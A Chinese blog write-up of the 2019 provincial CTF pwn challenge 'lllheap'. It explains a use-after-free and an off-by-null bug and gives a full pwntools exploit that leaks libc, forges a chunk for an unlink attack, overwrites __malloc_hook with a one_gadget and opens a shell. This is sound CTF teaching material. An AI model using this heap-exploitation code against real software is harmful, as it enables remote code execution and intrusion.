2019 省赛lllheap unlink解法总结

在free函数时有个明显的UAF漏洞
在这里插入图片描述
但是麻烦的是程序限制了创建的chunk的大小只能是0x100或0x150, 所以无法通过fastbin attack之类的方法来解题
但是可以利用unlink来构造fake chunk的地址为__malloc_hook的地址, 从而写入one_gadget来getshell

具体分析:
如果只存在一个UAF漏洞应该是无法利用unlink解题的(也许还有别的方法, 我太菜了想不出来, 这题还存在一个逻辑漏洞
在这里插入图片描述
如果输入chunk的data大小为0x100的话, 那么下一个chunk的prev_size 的低位字节会被置为零, 所以可以在上一个chunk伪造fake_chunk来触发unlink从而改变bss段中的chunk地址为__malloc_hook, 之后写入one_gadget来getshell
在这里插入图片描述
在这里插入图片描述
EXP:

# --- coding: UTF-8 ---

from pwn import *
import sys
import os

context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
#context(arch='i386', os='linux', terminal=['tmux', 'splitw', -h'])
context.log_level='debug'
debug = 1
d = 1

def pwn():
	execve = "./lllheap"
	if debug == 1:
		p = process(execve)
		if d == 1:
			gdb.attach(p)
	else:
		#ip = "10.0.%s.140" % sys.argv[1]
		ip = "1.1.5.100"
		#host = ""
		host = 10000
		p = remote(ip, host)
	
	def add(size):
		p.sendlineafter("choice:", str(1))
		p.sendlineafter("size:", str(size))
		
	def show(idx):
		p.sendlineafter("choice:", str(2))
		p.sendlineafter("index:", str(idx))

	def edit(idx, content):
		p.sendlineafter("choice:", str(3))
		p.sendlineafter("index:", str(idx))
		p.sendlineafter("content:", content)
	
	def free(idx):
		p.sendlineafter("choice:", str(4))
		p.sendlineafter("index:", str(idx))
	
	add(0x100) #0
	add(0x100) #1
	add(0x100) #2
	
	free(1)
	show(1)
	libc = ELF("lll_libc.so.6")
	leak = u64(p.recvline()[:6].ljust(8, '\x00'))
	libc_base = leak - 0x3c4b78
	malloc_hook = libc_base + libc.symbols['__malloc_hook']
	one_gadget = [libc_base+0x45216, libc_base+0x4526a, libc_base+0xf1147, libc_base+0xf02a4]
	print "libc_base -> " + hex(libc_base)

	fake_addr = 0x602070
	payload = p64(0) + p64(0x101) + p64(fake_addr - 0x18) + p64(fake_addr - 0x10) + 'a'*(0x100 - 32)
	edit(1, payload)
	
	#unlink
	free(2)
	payload = p64(0) + p64(malloc_hook)
	edit(1, payload)
	
	edit(0, p64(one_gadget[2]))
	add(0x100)
	
	p.interactive()	

if __name__ == '__main__':
	pwn()

result
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值